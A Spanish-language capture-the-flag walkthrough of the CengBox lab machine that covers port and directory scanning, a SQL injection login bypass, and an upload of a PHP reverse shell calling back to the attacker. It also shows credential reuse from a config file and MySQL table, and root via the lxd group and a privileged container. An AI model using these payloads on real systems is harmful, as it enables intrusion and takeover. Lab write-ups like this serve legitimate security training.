

Escaneo de puertos

```
nmap -p- --min-rate 5000 -sS <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-31 23:09 CEST
Nmap scan report for 192.168.5.159
Host is up (0.0019s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_   2048 a9:cc:28:f3:8c:f5:0e:3f:5a:ed:13:f3:ad:53:13:9b (RSA)
|_   256 f7:3a:a3:ff:a1:f7:e5:1b:1e:6f:58:5f:c7:02:55:9b (ECDSA)
|_   256 f0:dd:2e:1d:3d:0a:e8:c1:5f:52:7c:55:2c:dc:1e:ef (ED25519)
80/tcp    open  http      Apache httpd 2.4.18 ((Ubuntu))
|_ _http-server-header: Apache/2.4.18 (Ubuntu)
|_ _http-title: CEng Company
MAC Address: 00:0C:29:CA:B0:E9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   1.87 ms  192.168.5.159

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.16 seconds
```

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST> -x php,html,txt -t 50 -r -k
```

Info:

```
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://192.168.5.159/
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:      /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent:    gobuster/3.6
[+] Extensions:   php,txt,html
[+] Follow Redirect: true
[+] Timeout:       10s
```

```
=====
Starting gobuster in directory enumeration mode
=====
```

```
/.htaccess.html      (Status: 403) [Size: 278]
/.htaccess           (Status: 403) [Size: 278]
/.htaccess.txt       (Status: 403) [Size: 278]
/.htaccess.php       (Status: 403) [Size: 278]
/.htpasswd.php       (Status: 403) [Size: 278]
/.htpasswd.txt       (Status: 403) [Size: 278]
/.htpasswd.html      (Status: 403) [Size: 278]
/.htpasswd           (Status: 403) [Size: 278]
/css                 (Status: 403) [Size: 278]
/img                 (Status: 403) [Size: 278]
/index.php           (Status: 200) [Size: 5812]
/js                  (Status: 403) [Size: 278]
/masteradmin         (Status: 403) [Size: 278]
/server-status       (Status: 403) [Size: 278]
/uploads             (Status: 403) [Size: 278]
/vendor              (Status: 403) [Size: 278]
Progress: 81876 / 81880 (100.00%)
=====
```

```
Finished
=====
```

Vemos interesante sobre todo `/masteradmin`, no podemos entrar en el directamente, pero si le tiraremos un `gobuster` para ver que subdirectorios nos saca...

```
gobuster dir -u http://<IP>/masteradmin -w <WORDLIST> -x php,html,txt -t 50 -r -k
```

Info:

```
=====
Gobuster v3.6
```

```
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
```

```
=====
[+] Url:                http://192.168.5.159/masteradmin
[+] Method:             GET
[+] Threads:            50
[+] Wordlist:            /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent:         gobuster/3.6
[+] Extensions:        php,html,txt
[+] Follow Redirect:    true
[+] Timeout:            10s
=====
```

```
Starting gobuster in directory enumeration mode
=====
```

```
/.htpasswd.html      (Status: 403) [Size: 278]
/.htpasswd.php       (Status: 403) [Size: 278]
/.htaccess           (Status: 403) [Size: 278]
/.htpasswd           (Status: 403) [Size: 278]
/.htaccess.txt       (Status: 403) [Size: 278]
/.htaccess.html      (Status: 403) [Size: 278]
/.htaccess.php       (Status: 403) [Size: 278]
/.htpasswd.txt       (Status: 403) [Size: 278]
/css                 (Status: 403) [Size: 278]
```

```
/db.php          (Status: 200) [Size: 0]
/fonts           (Status: 403) [Size: 278]
/images          (Status: 403) [Size: 278]
/js              (Status: 403) [Size: 278]
/login.php       (Status: 200) [Size: 5137]
/upload.php      (Status: 200) [Size: 1440]
/vendor          (Status: 403) [Size: 278]
Progress: 81876 / 81880 (100.00%)
```

```
=====
Finished
=====
```

Vemos que hay un `login.php`, por lo que si nos metemos dentro aparecera un panel de login, si en el campo de `usuario` metemos lo siguiente...

```
' OR 1=1-- -
```

Haciendo `SQL Injection` y en el campo de la `password` le metemos lo que sea, nos llevara automaticamente a la siguiente `URL`...

```
URL = http://<IP>/masteradmin/upload.php
```

Y aqui podremos subir lo que queramos, por lo que hacemos lo siguiente...

Crearemos un archivo con una `Reverse Shell`...

```
<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock,
2=>$sock),$pipes);
?>
```

Sera con `.php` pero si subimos por ejemplo un archivo llamado `shell.php` no nos dejara tiene que ir con una extension determinada de la siguiente manera `shell.ceng`...

Lo subiremos con esa extension ya que igualmente se ejecutara la shell, no hace falta cambiarlo con `BurpSuit` ni nada parecido..

Este archivo se subira en una `URL` que encontramos antes de `/uploads` en la pagina principal con el primero `Gobuster` que encontramos...

```
URL = http://<IP>/uploads/shell.ceng
```

Ya que si nos vamos a solo `/uploads` no nos aparecera nada por lo que pondremos el nombre del archivo que subimos, igualmente esto se puede descubrir poniendo el siguiente comando...

```
gobuster dir -u http://<IP>/uploads -w <WORDLIST> -x php,html,txt,ceng -t 50 -r -k
```

Info:

```
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://192.168.5.159/uploads
[+] Method:       GET
[+] Threads:      50
[+] Wordlist:      /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
```

```
[+] User Agent:          gobuster/3.6
[+] Extensions:         php,html,txt,ceng
[+] Follow Redirect:    true
[+] Timeout:            10s
=====
Starting gobuster in directory enumeration mode
=====
./htpasswd.php          (Status: 403) [Size: 278]
./htpasswd.html         (Status: 403) [Size: 278]
./htpasswd.ceng         (Status: 403) [Size: 278]
./htaccess.html         (Status: 403) [Size: 278]
./htaccess.txt          (Status: 403) [Size: 278]
./htaccess.php          (Status: 403) [Size: 278]
./htaccess.ceng         (Status: 403) [Size: 278]
./htaccess              (Status: 403) [Size: 278]
./htpasswd              (Status: 403) [Size: 278]
./htpasswd.txt          (Status: 403) [Size: 278]
./shell.ceng            (Status: 200) [Size: 0]
Progress: 102345 / 102350 (100.00%)
=====
Finished
=====
```

Una vez que nos metamos en `/uploads/shell.ceng` estando a la escucha...

```
nc -lvp <PORT>
```

Nos creara una shell con el usuario `www-data` por lo que lo tendremos que sanitizar la shell...

```
script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Si nos vamos al archivo `db.php` que vimos antes haciendo un...

```
cd /var/www/html/masteradmin
cat db.php
```

Veremos lo siguiente...

```
<?php
$serverName = "localhost";
$username = "root";
$password = "SuperS3cR3TPassw0rd1!";
$dbName = "cengbox";
//Create Connection
$conn = new mysqli($serverName, $username, $password,$dbName);
```

```
//Check Connection
if($conn->connect_error){
    die("Connection Failed: ".$conn->connect_error);
} else { }
?>
```

Lo que sugiere que nos podremos conectar como **root** a **mysql**...

```
mysql -h localhost -u root -pSuperS3cR3TPassw0rd1!
```

Una vez dentro haremos estos pasos siguientes...

```
show databases;

+-----+
| Database |
+-----+
| information_schema |
| cengbox |
| mysql |
| performance_schema |
| sys |
+-----+

use cengbox;

show tables;

+-----+
| Tables_in_cengbox |
+-----+
| admin |
+-----+

select * from admin;

+----+-----+-----+
| id | username | password |
+----+-----+-----+
| 1 | masteradmin | C3ng0v3R00T1! |
+----+-----+-----+
```

Veremos un usuario y contraseña, pero esa contraseña la podremos utilizar tambien para conectarnos al usuario del servidor llamado **cengover**...

```
User = cengover
Password = C3ng0v3R00T1!

su cengover
```

Y metemos esa **password**...

Por lo que ya seriamos el usuario, pero mejor nos conectaremos por **ssh**...

```
ssh cengover@<IP>
```

Una vez siendo ese usuario, leemos la flag...

```
user.txt (flag1)
```

```
8f7f6471e2e869f029a75c5de601d5e0
```

Si hacemos el siguiente comando...

```
id
uid=1000(cengover) gid=1000(cengover)
groups=1000(cengover),4(adm),24(cdrom),30(dip),46(plugdev),100(users),110(lxd),117(lp
admin),118(sambashare)
```

Veremos que estamos en un grupo muy característico para escalar privilegios llamado **110(lxd)**...

Por lo que haremos lo siguiente...

```
# build a simple alpine image in your host
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sudo ./build-alpine
python3 -m http.server 80

# import the image

# It's important doing this from YOUR HOME directory on the victim machine, or it
might fail.

cd /tmp/

wget http://<IP>/<FILE_NAME>.tar.gz

lxc image import ./alpine*.tar.gz --alias myimage

# run the image

lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image

lxc config device add mycontainer mydevice disk source=/ path=/mnt/root
recursive=true

# interact with the container

lxc start mycontainer

lxc exec mycontainer /bin/sh
```

Una vez hecho todo eso seremos **root** pero dentro de un contenedor y aunque importemos la carpeta de **root** al contenedor no va a funcionar, por lo que nos saldremos de ese contenedor y haremos lo siguiente...

```
# Check the image is there
lxc image list
```

Congrats. Hope you enjoyed it and you can contact me on Twitter @arslanblcn_
a51e522b22a439b8e1b22d84f71cf0f2